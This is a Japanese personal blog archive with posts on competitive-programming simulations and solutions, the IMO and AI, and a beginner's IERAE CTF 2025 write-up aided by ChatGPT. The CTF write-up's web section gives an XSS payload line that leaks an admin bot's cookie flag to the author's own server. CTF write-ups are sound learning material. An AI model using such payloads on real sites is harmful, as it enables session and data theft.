2025-10-19

AWTF 進出確率シミュレーション

はじめに

AWTF進出確率をモンテカルロシミュレーションで予測しました。

シミュレーション概要

基本設定

シミュレーション回数: 10,000回
対象ユーザー: 現在のランキング上位100名

残り4回のコンテストのパフォーマンスを以下のモデルに従ってモンテカルロシミュレーションを実施しました。

パフォーマンス推定モデル

各ユーザーの各コンテストでのパフォーマンスは、以下の確率分布から推定しました。
パフォーマンスの期待値を以下の方法で推定し、標準偏差175の正規分布に従ってパフォーマンスを生成しました。

短期コンテスト

確率 12/21: 現在のレーティング
確率各1/21: 過去9回の短期コンテストの各パフォーマンス（の近似）

長期コンテスト

確率 6/11: 現在のレーティング
確率各1/11: 過去5回の長期コンテストの各パフォーマンス（の近似）

パフォーマンスの近似方法

GP30 scoreから順位を逆算し、AHC054の同順位の人のパフォーマンスを利用
31位以下の場合はmin{rating, 2300}を期待値として採用
期待値の推定でどのコンテスト（またはrating）を使うかはユーザーによらず決定
Writerをしていた場合は、そのユーザーについては代わりにratingを使用

シミュレーション結果

AWTF 進出確率

以下は、10,000回のシミュレーションで12位以内に入る確率が高い順のランキングです。

12位・13位のボーダースコア統計

12位

平均: 219.00点
最小: 176.50点
第1四分位数 (25%): 210.00点
中央値 (50%): 218.50点
第3四分位数 (75%): 228.00点
最大: 280.00点

13位

平均: 205.27点
最小: 161.50点
第1四分位数 (25%): 196.50点
中央値 (50%): 205.00点
第3四分位数 (75%): 213.50点
最大: 256.00点

13位スコアが最大となったシミュレーション

最も13位のスコアが高かったシミュレーションの結果：

13位のスコア: 256.00点

その時のTop 13

順位	ハンドル	最終スコア	R1	R2	R3	R4
1	Rafbill	620.50	30.00	60.00	22.50	50.00
2	terry_u16	396.52	22.50	100.00	11.00	0.00
3	eijirou	369.00	18.00	0.00	50.00	0.00
4	nikaj	364.00	37.50	13.00	0.00	30.00
5	Shun_PI	343.64	0.00	7.00	9.00	16.00
6	saharan	308.50	0.00	40.00	14.50	0.00
7	montplusa	293.00	20.00	8.00	18.00	0.00
8	yosupo	287.50	25.00	26.00	25.00	37.50
9	Jirotech	270.00	50.00	10.00	37.50	11.00
10	bowwowforeach	266.00	16.00	29.00	30.00	22.50
11	asi1024	264.00	0.00	75.00	6.50	0.00
12	yokozuna57	259.00	7.00	36.00	12.00	12.00
13	MathGorilla	256.00	9.00	9.00	6.00	0.00

やばすぎ

まとめ

普段の出席率が低いボーダー近辺の人とかはもっとスコアを積んでくる可能性が高そうなので、自分の進出確率はもう少し低そう・・・

そもそも上位のユーザーの安定感が高すぎるシミュレーションな気がするので改善していきたいです。

とりあえず残りのAHC頑張ってWTF行けるようにしたいです！

2025-07-21

OpenAIのモデルがIMO金メダル相当の結果を得たことについて

思ったことを幾つかコメントをします。私は日本チームのLeader（生徒より早く現地入りして問題を選んだり、試験後に答案の翻訳・採点をする人）としてIMO2024, IMO2025に参加していました。多少解像度の高いコメントができると思うので書いていますが、ここに書かれているものはすべて個人の意見です。IMO BoardとAI companiesとの間の対話についてはある程度Leaderたちにも共有されていますが、全てが共有されているわけではないので個人的な憶測を含むものです。

また、OpenAIの公式の発表にはあたれていないので、以下の前提にたっての発言です。

・OpenAIのモデルがIMOの問題にチャレンジして金メダル相当（7+7+7+7+7+0=35）の結果だった

・採点に関してIMO側の協力は得ていない

結果の解釈について

（7/23 追記：ここでいう「結果」とは「AIがIMOのこの問題を解いた（そして、〇メダル相当だった）」という要素以外をすべて捨象したものと考えてください。異なるモデルや取り組み方で同じ水準を達成することは意味があることだと思います。IMOが質の高い、高度な推論を要求する課題としてAIのベンチマークに使われるのは一関係者としても嬉しく思います。一方で、総得点をコンテスト参加者の点数と比較するだけではなく、問題ごとの特徴をよく捉えて理解した方がより良いのではないかという点が本文章の大意です。）

結論としては、今回の結果は特に驚きはなく、どのような問題を解いたかという視点では去年のGoogle DeepMindの結果と今回のOpenAIの結果は大きな違いはないと考えています。

まず、IMOをはじめとする数学オリンピックに出題される問題は、代数（A）・組合せ論（C）・幾何（G）・整数論（N）の４分野に大別されます。（もちろん複数の分野の中間に当たるような問題もありますが、そういう場合もいずれかの分野に分類されます。）IMOの出題問題を決める際にはこれらの分野の要素がバランスよくなるように考慮されますが、IMOは全部で６問なので、年によってばらつきは出ます。

４分野のうちGについては（例えば計算的な方法によって）ある程度計算機でも解けるのではないかというのは私が選手だった頃（2016年以前）にも言われていて、比較的早い段階で多くの問題がAIで解けるようになっていたという認識です。（詳細はAlphaGeometryとかを調べると良さそうですが、十分には調べずに発言しています）

さて、去年と今年のIMOで出題された問題の分野は以下の通りです。各問題の難易度はおおよそ（P1 <= P4 < P2 = P5 < P3 = P6）となるように作られています：

IMO2024: A-N-C-G-C-A

IMO2025: C-G-N-N-A-C

（7/23 追記：左から順にP1-P2-P3-P4-P5-P6となっています）

昨年はGoogle DeepMindのモデル（AlphaProof+AlphaGeometry 2）がP1, P2, P4, P6の４題を解いて「（金メダルボーダーに１点足らず）銀メダル相当」というニュースが流れました*1。当時の自分の感覚では、P6はAIには難しく、P2もひょっとしたら解けないのかなと思っていたので驚いたのを覚えています。一方でC分野の２題は解かれていないということで、AIはC分野が苦手（＋G分野が得意）という印象で、これは多くの数オリとAIの両方を齧ったことがある人の共通認識ではないかと思います。

今年のIMOについては、問題が決まった時点でP1-P5についてはAIは難なく解け、P6が完全に解かれたら驚くけどあり得なくはないのかなという感覚でした。なので今回のOpenAIの結果については特に驚きはないものです。（長々と説明しなくても、そもそも去年は金メダルボーダーに１点届かないだけで、今年はちょうどボーダー上の点数ということからも明らかですが）昨年は銀メダル相当で今年は金メダル相当だからそこに何か大きなギャップがあるかというとそういうことではないですし、去年今年AIが解いた９問の中で一番解けなさそうな問題は2024-P6かなと思っています。Google DeepMindなども同様の試みをしているでしょうから、P6で正の点数を得られるような解答を得たAIモデルが現れるのかどうかに興味を持っています。

念の為書いておきますが、人間にとっての難易度とAIに解けるかどうかは別のベクトルなので今年の35点より去年の28点がえらいみたいな話ではないですし、数学オリンピックの趣旨としてもそのような細かい比較はナンセンスだと思います*2。いずれにせよAIの結果を人間の結果と比較するのはお遊び程度に考えて、AI同士の比較をするためのベンチマークとして有意義に利用されるようになって欲しいなと思います。

結果の発表時期について

一部で発表時期について疑義が出ているようですが、おそらくOpenAIの発表は問題ないように思います。問題は全世界に公開されるものなので、AI企業がそれを使うのは基本的に止められないし、止めるべきでもないという前提の上で、運営側が何かしらの協力をしていけるか、その場合にAI企業側に何を求めるべきか、どのように協力していくことで良いパートナーシップを築けるかという考え方だったように思います。運営側の意見も一本化されているわけではなさそうだったので企業側に曖昧なまま届いたメッセージもあったのかと思います。一般常識として閉会式が終わるまでは待ってね、できればさらに１週間くらいは待ってほしいけどofficialな協力をしてない場合には強制はできないよね、くらいの温度感だったんだろうと想像します。

その他の感想

技術的な部分はよくわかりませんが、今回のOpenAIのモデルは割と汎用的なものらしいのでそれでIMOの問題が解けるのはすごいなぁと思います。一方で、AIを最先端の数学で、人間にコントロールできる形で使うためには定理証明支援系などと組み合わせることは必須だと思いますし、コンテストの問題を解くタイプのAIについても最先端のモデルについては定理証明支援系との組み合わせが必要になるという状況の方が面白いかなと思います。もっというと数学の問題を解くために作られたモデルの知見が汎用的なモデルにも活かされて、何らかの形で定理証明支援系などが論理的思考力をサポートする形で汎用モデルに組み込まれたら面白そうだなと妄想しています*3。

Google DeepMindのモデルは定理証明支援系を一部に組み込んだものだったはずなので、この視点からもGoogle DeepMindのプレスリリースを楽しみにしています。

とりあえず日本選手たちがみんな頑張ってくれたおかげで10日間楽しく過ごせました！役員の方・現地でお会いした方含めてみなさんありがとうございました

*1:AI achieves silver-medal standard solving International Mathematical Olympiad problems - Google DeepMind

*2:一方でIMO金メダリストはやっぱりすごいなって思うことも多いということは追記しておきます

*3:現時点では定理証明支援系の勉強をはじめた＋数オリやプログラミング色々触ったことあるくらいの状況ですが、ゆくゆくはこういう研究ができる環境を手に入れられたらハッピーだなって思っています

2025-06-22

LLMにキャリーされるCTF初心者の参加記（IERAE CTF 2025）

はじめに

CTF参加経験：ほんの少しだけ触ったことがある程度。２年くらい前に少し興味を持ってCpawCTFやってseccon2023に出てたらしい。去年の年末にAlpacaHackのアカウントを作って１問解いていたらしい。

他のコンテスト参加経験：数オリ・情オリからはじめてAtCoderをよくやっている。普段やらないタイプのコンテストに出るのは好き（最近だとmn-core challengeとかFixstars高速化コンテストとか）だけど時間が溶ける。

使ったLLM：ChatGPT Plusに課金していて、4oを使いました。特に他のモデルと比べたりはしてない。

Overview

CTF初心者がIERAE CTF 2025にソロで参加して31位でした（warmup + easy - SlideSandbox + trunc）。ChatGPTがかなり使えて、CTFほぼ未経験なのに簡単めの問題全ジャンル解いてるのはたぶんえらい。

事前に知ってたこと

・IERAE{...}みたいなのを見つけると良い

・nc <address> <port> と打つとなんか通信が始まる

・（割とすぐ気づいたこと）手元で実験できるようにDockerfileとか色々渡されるが、ひとまずはchal.*を見るのが良い

問題ごとの感想（解いた順）

問題：

ierae-ctf.com

Welcome

DiscordにFlagが置いてある。最初AHCやってて５時間遅れで始めたのでどこにあるかわからなくてちょっと困ったけど、IERAEで検索すると良い。（←後の問題で"IERAE"を含む文字列を見つけたら実行を終えるみたいなコードを書いたから意外と本質的な気づきかもしれない。）[19:52]

DiNo.1

ゲームで5000点以上とるとFLAGを教えてもらえる。とりあえず3回くらい遊んだら4000点くらい取れたけど（CTFとして）真面目にやることに。instructionに「インターネットに接続されていません」って書いてあるからゲーム中にネット接続を切ったりしたけど特に何も起きなかった。ソースを読んでclearscoreを書き換えるだけ。[19:59]

Baby MSD

とりあえずchal.pyをChatGPTに投げるとサーバー側の挙動を教えてくれる。Benfordの法則についても教えてくれるが、M=2*10**30に固定で良いねとなる。2000*100回手で入力する訳にもいかないのでPythonのscriptを書いてもらう。

仮想環境とかについても教えてもらう。MacOSでpwntoolsがうまく入らなくてだいぶ苦戦したが、`--no-deps`をつけてinstallした後ガチャガチャしたら動くようになった。最初入出力が噛み合わずに困った記憶があるけど思い出せない。頑張るととりあえず１度はクリアできるようになる。

毎回入力待ちをするとどうやらtimeoutするっぽいので、最初に全部送りつけるようにする。最初に全部送りつけるとそれはそれで困るらしいので、stageごとに待つようにしたら大丈夫。[21:12]

Length Calculator

chal.cをChatGPTに食わせると0を入力すると

ということなのでやってみるとFlagがもらえる。[21:15]

さすがに悲しいのでChatGPTの解説を読んでなんとなく理解。

rev rev rev

１行ずつ読んで逆操作をするだけ。自力でも解けるんだからね！ってことでChatGPTは使わなかった。[21:31]

Warmdown

web問題何もわからなすぎて困った。とりあえずそれっぽいコードを渡して１行ずつ解説してもらう。よくわからないなりにChatGPTと話してたら大枠の方針を理解：

自分のサーバーってなに？？？サーバー側のコードなんて書いたことないのでとりあえずその部分をお願いすると「PythonでFlagを受け取るサーバー」を書いてくれる。何もしてないのに`http://localhost:8080`などにしてもAdmin botからアクセスできないからダメですよという注意を受け、逆に`http://localhost:8080`にすればlocalで実験できることに気づく。とりあえず起動して自分のブラウザから http://localhost:8080/?x=test にアクセスしたらいい感じになる。

次は自分のPCに外部からアクセスできるようにしないといけないらしい。怖いね。怖いので1時間半くらい調べていたがちゃんとやれば安全らしい。ngrokというやつをおすすめされたので色々調べたが登録が面倒そう。他の方法を教えてと言ったらlocaltunnelを教えられて使えるようにしたが、中間ページがあってAdmin botからアクセスできなさそうなので却下。仕方ないのでngrokのアカウント作って公開できるようになったが、課金しないと中間ページが消せなくて困る。これを言ったらまたlocaltunnelを勧められて、ChatGPTともめる。調べたところ最近までは中間ページなかったらしいので仕方なし。結局cloudflareというやつで解決した。（使い方は大体どれも同じなのでそんなに困らなかった）

あとはAdmin botにweb::3000にアクセスさせて、cookieから情報を盗み取り、<img src onerror="https://自分のサーバー/?x=FLAG"> みたいな感じでleakさせれば良いということでガチャガチャし始める。previewに表示されるhtmlは割と生のまま渡されて実行されるのでここに埋め込めば良いらしい。最後にunescapeしてくれるので、escape済みのものを渡せばsanitizeは回避できる。しばらく?markdown=のあとに入力ベタうちしてはまっていたが、（ChatGPTがくれたleak用のコードにencodeURIComponentが使われてるのを見て）文字列をURLに載せるときに変換があることに気がつく。最後はmarkdown->htmlの変換でリンクが勝手に処理されていることに気が付かずに困っていたら、ChatGPTが救ってくれた。[1:40]

ChatGPT曰く最初に自分のサーバーにアクセスさせないとCookieの内容を外部には送信できないってかなりしつこく言われたが、今回はそんなことはなかった。結果として、FLAGの受け取りはできるがhtmlの送出はまだやったことがない状態。

MSD

コード読んだらBabyMSDとの違いがわからず、とりあえず同じ解法を送りつけたら当然壊れる。diffをとるまで何が違うのかわからなかった。今度は本当にBenfordの法則ってやつに想いを馳せる必要がありそう。secretが十分大きいのでMを1ずつずらしていけばOK。[1:49]

rot rot rot

MacOSでrevの問題を解こうとするのはやめようね！ChatGPTに色々言われながらやったけど結局手元ではバイナリも動かせないし、解析ソフトみたいなのもいまいちうまく動いてなさそうなのが多い。昔CTF触った時もこれが嫌でやめた記憶が蘇る。

objdumpの結果をChatGPTに貼ったりしたけど特に大きな進捗はなし。仕方がないのでGoogle Colab上で動かす。ようやく実行結果が見られるようになり一歩前進。出力からエスパーしようとしたけど何もわからない（←後から考えると入力として0埋めしたhexを渡していたのが原因）。Google Colab上でやりたいのでCLIだけでできる解析としてretdec-decompilerを教えてもらう。実はこれが手元でも動かせることに気がついてから進捗し始めた。

decompileしたものをChatGPTに読ませて、大体の雰囲気を教えてもらう。入力を少ししか変えなかったら出力も少ししか変わらなさそうなのに実験ではそうなってないので困る。この辺りでもう一度Google Colab上で遊んでたら実行結果が毎回変わることに気がつく。00がなければ大丈夫そうなのでそこで実験するとちゃんと入力が近ければ出力も近いようになる。ChatGPTに読んでもらった限り変換は前から順にやってそう（最後のXORに使うkeyはFlagのprefixがIERAE{なのでわかる）なので、前から1文字ずつ全探索して出力のxorのpopcountが一番小さいのを選択すればOK。ちなみにこの辺の実装も全部ChatGPTがやってくれる。[5:16]

Stdio Studio

また最後はfgetsを壊してstackを盗み見る系。結局size=0にしないと\0が入力されてどうにもならんくない？って言ってしばらく困ってた。とりあえずバイナリも渡されているのでdecompileしてみるとmemsetが消えている（？）ので、まあload_flag()してecho()で盗み見るという方針は正しそう。size=0を入れるとゴミ値が見えたりはするのでまあなんとかなりそう。でもsizeを大きめにしてずらすことでflagの位置に調整することがあるとChatGPTにずっと怒られている。でもsize=0にしないと\0が入力されて困る。EOF送ったら\0はいらないですか？って聞いたらそうですよって教えてくれた。もっと早く教えて欲しかった。

手入力だとEOFがうまく送れず（これは競プロのインタラクティブでも割と似たようなこと起こるので知ってた）Pythonのスクリプトを書いてもらう。解法あってそうだからsizeを16刻みで色々動かしてたらhitする。[7:03]

Skip Skip Skip 1

サーバーにアクセスして、やってと言われたことをChatGPTにお願いするとやってくれる。英語で色々言われるのでChatGPTに丸投げすると問題の雰囲気がわかる。１命令だけskipすることができるらしい。logを見て怪しげなところをskipするのを色々試すスクリプトを書いてもらうといい感じに壊れる場所がある。[8:14]

trunc

これもコードをChatGPTに丸投げ。流石に疲れてきてChatGPTと適当に会話してたらだいぶ混乱した。ベクトルとか行列の計算について説明するのにサイズをきちんと書かないのはどういう了見なの？ってパワハラしてた。ChatGPTがbruteforceで解けるというのでやらせてみるが当然できない。手元で冷静に行列の式を書けばなんとなくわかる。qが2冪なので下位bitからeが少なくとも2択で、112/400の確率で1択だから、その行だけ抜き出してあとは頑張れば他のbitもわかるねと伝えて、ChatGPT激詰めしてたらFlagが吐き出された。[11:07]

2025-01-05

Fixstars 高速化コンテスト 2024 解法紹介

Fixstars 高速化コンテスト 2024 に参加して、優勝した際の解法まとめです。

コンテストサイト→Fixstars Programming Contest
（最終提出のコードはコンテストサイトからダウンロード可能です）

問題概要

長さ $N$ の， $0$ 以上 $K-1$ 以下の整数からなる数列 $(a_i)_{i=0}^{N-1}$ ， $(b_i)_{i=0}^{N-1}$ が与えられる。 $(a_i)$ の添字を（cyclicに）ずらしたときの， $a_i \ne b_i$ となる添字 $i$ の個数の最小値を求めてください。

制約（問題文のPDFから引用）

解法

大まかに２つの方針があります。

（添字をいくつずらすのか）×（それぞれの添字で値が一致するか）を調べる。
時間計算量： $O\left(N^2\right)$ 　→　一様ランダムを仮定すると $O\left(N^2/K\right)$ にできる
各ごとに
- $f_k(x)=\sum_{i=0}^{n-1} 1_{\{a_i = k\}} \cdot x^i$
- $g_k(x)=\sum_{i=0}^{n-1} 1_{\{b_{\color{red}{N-1-i}} = k\}} \cdot x^i$
とし，をFFTを用いて求める。
時間計算量：

$K=256$ のケースではひとつ目の方針， $K=16$ のケースではふたつ目の方針を高速化します。

コンテストの特徴

競技プログラミングのコンテストとしては珍しく，4コア8スレッドを使って，並列処理によって計算を高速化してくださいという問題です。結論から述べると，いかにキャッシュに載せたまま計算するかが（おそらく）大事になります。

今回の環境のキャッシュサイズは

L1D：コアあたり48KB
L2：コアあたり512KB
L3：CPU全体で16MB

です。

注意

私の手元では環境を再現できず，プロファイラの結果も確認できなかったので，この記事に書かれている「このようにするとキャッシュに載るので速い」みたいな表記は全部「空想上キャッシュに載っているはずで、実際に提出してみると速くなった」という意味です。

$K=256$ のケース

各 $k\,(0 \leq k \leq K-1)$ ごとに $b_j=k$ となる添字 $j_{k,0},j_{k,1},\ldots,j_{k,\ell_k-1}$ を予め列挙しておきます。入力が一様ランダムな場合には $\ell_k \approx \frac{N}{K}$ となります。
整数の配列 $c$ を用意して $0$ で初期化します。 $i\,(0 \leq i \leq N-1)$ について $c$ の $N-1-i+j_{a_i,0}$ 番目， $N-1-i+j_{a_i,1}$ 番目，...， $N-1-i+j_{a_i,\ell_{a_i}-1}$ 番目に $1$ を加算すると，
各 $d\,(0 \leq d \leq N-1)$ について $c_{d}+c_{d+N}$ が $a_{i+d}=b_i$ となる添字 $i$ の個数となります。

並列化する際には $j_{\ast,0},j_{\ast,1},\ldots,j_{\ast,\ell_k-1}$ が飛び飛びの値になっているため，配列 $c$ と $j$ へのアクセスが律速になります。そこで，配列 $b$ について 8192 or 16384 個ずつに分割して並列化します。
このとき， $c$ や $j$ のとりうる値（の種類）は16bitに収まるので，uint16_t型が使えます。結果として， $j$ のサイズは32KiBとなるのでL1キャッシュに収まり， $c$ へのアクセスについても， $i$ をシーケンシャルに動かしたとき高々32KiB分しか遡らずほぼシーケンシャルになります。
（実は両方合わせると64KiBあり，しかも1コア2スレッドなのでL1キャッシュには収まっていませんが，実験すると（２ベキの中では）最速です。おそらく分割によるオーバーヘッドもそれなりにあります。）

実際のコード（一部抜粋）

添字の列挙に2次元配列を使うと遅いはずなので，1次元配列を用いています。
p[lef[k]], ..., p[lef[k]+cnt[k]-1] が $j_{k,0},j_{k,1},\ldots,j_{k,\ell_k-1}$ に対応します。

void solve_thread_16384(input_t &input, output_t &output, int id, uint16_t *ret){
    int N_=1; while(N_<input.N)N_*=2;
    alignas(64) uint16_t cnt[256] = {};
    uint16_t lef[256] = {};
    constexpr int B = 16384;
    uint16_t p[B];
    for(int L = id*N_/(num_thread);L<(id+1)*N_/(num_thread);L+=B){
        for(int i=0;i<input.K;++i){
            cnt[i] = 0;
        }
        for(int i=L;i<L+B&&i<input.N;++i){
            ++cnt[input.b[i]];
        }
        lef[0]=0;
        for(int i=0;i<input.K-1;++i){
            lef[i+1] = lef[i] + cnt[i];
        }
        for(int i=0;i<input.K;++i){
            cnt[i] = 0;
        }
        for(int i=L;i<L+B&&i<input.N;++i){
            int b = input.b[i];
            p[lef[b]+cnt[b]++] = i-L;
        }
        
        for(int i=0;i<input.N;++i)
        {
            int a = input.a[i];
            for(int j=lef[a];j<lef[a]+cnt[a];++j){
                ++ret[input.N-i+p[j]+L];
            }
        }
    }
    for(int j=0;j<input.N;j++){
        ret[j] += ret[j+input.N];
    }
}

$K=16$ のケース

母関数やFFTの基本的なことについては説明しません。（スレッド）並列化に関係しないFFTの典型的な高速化としては次のものを実装しました

in-place FFT
bit反転はせず，逆変換はstepごとに逆を計算する
inplace FFTをするとフーリエ変換結果の要素の並び順がbit反転されますが，逆変換の時に戻るので気にしないことにします。この場合にはフーリエ逆変換の（FFTの）式をそのまま実装するよりもinplace-FFTのstepごとに逆をとる方が，フーリエ変換の式に出てくるrootのベキの計算回数が減って高速になります。

Montgomery演算
FFTでは頻繁にmodをとることになり，他の演算よりも遅いです。Montgomery演算というものを使うと加算・乗算・bit演算の組み合わせで書けるようになります。
Montgomery演算については，以下の記事を参考にしました。

さらに，これはSIMDで書けるので最終的には16ペアのuintを掛け算して（ $2^{32}$ で割って）modをとる関数が次のように書けます。

Montgomery演算のSIMDを用いた実装

__m512i mont(uint* gU, uint* hU){
        __m512i g = set32(gU);
        __m512i h = set32(hU);
        
        __m512i w0 = _mm512_mul_epu32(g,h);
        __m512i ret0 = _mm512_srli_epi64(_mm512_add_epi64(w0,_mm512_mul_epu32(_mm512_mul_epu32(w0,_mm512_set1_epi64(p_ui)),_mm512_set1_epi64(p))),32);
        
        __m512i w1 = _mm512_mul_epu32(_mm512_srli_epi64(g,32),_mm512_srli_epi64(h,32));
        __m512i ret1 = _mm512_add_epi64(w1,_mm512_mul_epu32(_mm512_mul_epu32(w1,_mm512_set1_epi64(p_ui)),_mm512_set1_epi64(p)));
        
        return _mm512_mask_blend_epi32(0b1010101010101010,ret0,ret1);
    }

4基底FFTは速くなることが多いそうですが，今回はあまり速くなる気がしなかったので実装していません。

スレッド並列に関する高速化について

母関数を用いる解法では $f_k(x)$ と $g_k(x)$ から $f_k(x)g_k(x)$ を計算することを16回行います。8つのスレッドでそれぞれ2回ずつ計算したくなりますが，同時にアクセスしうるデータが増えるとキャッシュヒット率で不利になるので，1回の計算を8スレッド使って計算することを16回繰り返します。

通常のin-place FFTの実装では数列全体の書き換えを $t := \lceil \log N \rceil$ 回行います。 $i$ 回目の書き換えでは $x=2^{t-i}$ として，数列を長さ $2x$ ごとに分け， $j$ 番目と $j+x$ 番目の値を（それらの元の値から）計算することを繰り返すことになります。（ $0 \leq j \leq x-1$ ）

参考のために昔書いた（AVXとかを使っていない）FFTのコードの一部を置いておきます。
※ここではull（unsigned long long）となっていますが，メモリ使用量を抑えた方が良いので，実際にはunsigned intを使って計算するときにキャストします。

void DFT(ull* g){
	for(int i=0;i<t;i++){         // t = log N
		int x=1<<(t-1-i);
		ull rr=1;         // FFTを知らない人はあまり気にしないでください
		for(int j0=0,k=0;j0<(1<<t);j0+=x*2){
			for(int j=j0;j<j0+x;j++){
			        // g[j]とg[j+x]を書き換える
				ull y=g[j+x]*rr%p;
				g[j]%=p;
				g[j+x]=g[j]+p-y;
				g[j]+=y;
			}
			rr*=h[__builtin_ctz(++k)]; rr%=p;
		}
	}
}

計算の順序を入れ替えて高速化することを考えます。例えば，2回目以降の書き換えにおいては $g_0, g_1, \dots, g_{2^{t-1}-1}$ と $g_{2^{t-1}}, g_{2^{t-1}+1}, \dots, g_{2^{t}-1}$ はお互いに作用しないので数列の前半の計算と後半に分けて計算することができます。

今回の環境では4コア8スレッドを使えるので3回目までは通常の順序で（適宜並列化しながら）計算をし，4回目以降の書き換えでは数列を8分割してひとつずつスレッドに割り当てます。この時点で，それぞれのスレッドに割り当てられるデータは（最大ケースで）256KiBなのでL2キャッシュに収まります。さらに深いところではL1キャッシュに収まるように数列を分割してそれぞれのブロックごとにまとめて計算することでより高速になります。

※最大ケースより小さい場合には2コア4スレッドで計算するのを2並列や1コア2スレッドで計算するのを4並列にするのが速いのではないかと思いますが，実際にはThread affinityというらしい，どの計算をどのthreadに割り当てるのかをより高度に管理する方法がうまくいかなかったので実装できませんでした。

その他の工夫

FFTの入力（ $f_k(x)$ ， $g_k(x)$ の係数）は0でない要素が疎なので最初の4ステップ分はまとめて計算して，非ゼロな要素ごとに16箇所に書き込むようにした方が速いです
最後の4回は近いデータ同士の計算になるためまとめて16x16の行列演算だと思ってSIMDに載せた方が（SIMD化しないよりは）少しだけ速い
- 飛び飛びのデータをsetして，storeしたあとの並べ替えはしないで頑張るのほうが速いかもしれません（飛び飛びのデータで_mm512_setr_epi32を4回 vs. _mm512_add_epi32を16回のはずです。）
FFTの内部で足し算をするときに毎回modをとると遅いので，頑張って減らす
コンパイラを信じる
- 簡単なところは自分でSIMD書いたりmemset使うよりそのまま書いた方が早かったです
- 例１：
```
for(int j=0;j<input.N;j++){
    ret[j] += ret[j+input.N];
}
```
- 例２：
```
for(int k=0;k<(1<<(t_-2));k++){
    conv.a[k]=0;
}
```
alignas(64)をする：メモリ上でのデータの配置を64バイトアラインにすると速くなることがありました理由は妄想ですが以下のふたつだと思います。
- SIMD並列化したとき，データが64バイトアラインされている方がレジスタへのストアとロードが速い（たぶんこれは正しいと思います）
- 配列全体を保持するために必要なキャッシュラインの数が減る？

最後に，フーリエ逆変換は１度にまとめられるというのを見落としていたので，まだ1.5倍速くすることもできるらしいです

2023-10-27

AHC024解法紹介　〜曲率の離散類似による連結判定〜

問題

A - Topological Map

コンテスト中の方針

以下の焼きなまし（もどき）

近傍
- 1点を隣の色で塗る
- 十字で２マス同時に動かす
評価関数：生スコアを使い、以下の値でタイブレークを行う*1
- 境界線の長さの和
  - 境界線が短い方が全体的にきれいなので小さくしやすそう
- 各タイルのサイズの２乗和
  - 中央のタイルが大きいままになりがちなので、タイルの大きさを均したい
温度：スコアが悪化しても確率p=50.0%で受理する。25,000回のイテレーションごとにpを0.1%小さくする*2

曲率の離散類似による連結判定

上の方針の実装で主に問題となるのは各タイルの連結性の判定である。wataさんの解説では周囲の3x3だけを見て簡易的に判定しており、shun_PIさんの延長戦解法では5x5を見ることでさらにスコアをあげている：

しゅんぴー(Shun_PI) on X: "関節点判定を5*5にしたら100点上がった（24ビットメモ化）" / X

ここでは、別の判定方法を紹介する。以下の値をそれぞれの頂点の周りでカウントして和をとることで概ね連結性に対応する値が得られる。（１点更新ではその周りの４頂点についてのみこの値を計算し直せば良い、実際には周囲の3x3マスの情報をキーとして差分を前計算できる）

イメージとしてはタイルの縁を反時計回りになぞったときに左に何回曲がったかを数えており、オイラー標数に対応する。タイルに空いている穴の数が変わらない限りこの値を連結性の判定に用いることができ、今回はタイル間の接続判定が保存されるので穴の数は変わらない。というのは間違いで、以下の図右のようなものを穴と認識できないので以下の遷移をrejectしてしまう。

今回の入力ではそれぞれのタイルの穴の数は少ない（多分たかだか２つくらい？）ので、個別に対処すれば局所的な更新だけで連結性判定が完全にできるはず

他の上位解法のまとめ

上位解法というか、AHC024についての言及で気になったものをまとめました。

#AHC024
延長戦337,025点
- 遷移は1or2マスの変更
- 生スコアを局所改善
-「普通の焼きなまし」を「高温と低温を繰り返す焼きなまし」にしたら300点ぐらい上がった（山登り+kickのほうがいいかも）
- 二点スタートで少しよくなった
- 行・列の削除を入れてもよくならなかった
— eijirou (@eijirou_kyopro) 2023年9月27日

あまり上手く理由づけできないが、スコアが離散的すぎて焼きなましの終盤で登り切らないとその周辺の解の良さがわかりづらい、みたいなことかもしれない

- dfsで有効なn点changeを求める
- 無駄なランダムウォークを防ぐために新たに有効になった近傍をsetに突っ込んで次の近傍はそのsetから取り出す
などを実装すると337,683が出るらしいです
n点changeは15M回くらい試せている（失敗確率は75%くらい）
— _____ (@rho__o) 2023年9月27日

詳細はよくわかってないが、延長戦１位解法なのですごい。ランダムウォークが無駄かどうかを事前に把握することは本当に可能なのかな・・・

外出中ふと思ったのですが、AHC024の1~2点変更する遷移って基本十字型を回転させることはできないから、左の解から右の解に到達できなかったりしませんか？
（このポイントがスコアにおいて致命的になるかはともかくとして・・・） pic.twitter.com/dN46LsF51w
— MON.T+α (@montplusa) 2023年9月27日

延長戦をした感じでは、焼きなましの試行回数が十分でないとこの近傍を加えてもあんまりスコア増えなかったけど、ある程度高速化して試行回数が増えるとそれなりに効果ありそう

延長戦解法

以下の焼きなまし

近傍
- 1点を隣の色で塗る
- 十字で２マス同時に動かす、連鎖させる
- 十字の回転
評価関数：生スコア
温度：普通の焼きなまし

連結性の判定は上で解説した方針で穴が１つの場合だけ（正確には、穴あきのタイルそれぞれについて単色の穴を１つまで）個別に対応するようにした。

また、実装をしなおして、諸々高速化した。受理される率が低かったので、隣接する２マスで色が異なるものの集合を管理するようにしたらスコアがかなり改善した。

40M~50Mくらい試行して、受理されるのは4Mくらい

再延長戦

実は最近ALGO ARTISでアルバイトを始めました。（今のところAHCの復習しかしてません / この記事も部分的にはsupported by AAです）この記事の内容を社内で発表したところ、時間短くして複数回実行みたいにした方が良いのでは？というアドバイスをいただいて、そのように書き直したら100点くらい上がりました。

TLギリギリまで使ったりいらないデバッグ出力消したりしたら延長戦１位まで46点差まで迫りましたが、少し届きませんでした。熱烈高速化すれば抜けるくらいの差だと思いますが、１位の点数も高速化で伸ばす余地はあるはずなのでここでやめておきます・・・

コンパイラ変えたら少し速くなるよと教えていただいてClangのC++23にしたら25点上がりました。ここでやめておきます・・・

まとめ

（今回は）細かい工夫とかせずに焼きなましを信じて高速化するべきだったかも？
オイラー標数考えて連結性判定するのはピッタリハマる問題もあるかもしれない（だいたいその場合は3x3での近似判定も使えそうだけど・・・）
ちまちま書き換えて高速化するよりも、受理率あげるのは大事かもしれない

*1:どちらを使うかは10,000回ごとに切り替える

*2:特に意味はなくて、焼きなましを実装するのが面倒だった

2022-08-03

村上宗隆を全打席敬遠すべきか

村上宗隆を全打席敬遠すべきかをOPSの観点から考察します。

OPSの定義
OPSの問題点
modified OPS
解くべき問題とその答え
結論：村上宗隆を全打席敬遠すべきか
おまけ：過去の打者について

OPSの定義

OPSとは長打率と出塁率の和で表されるセイバーメトリクスです。

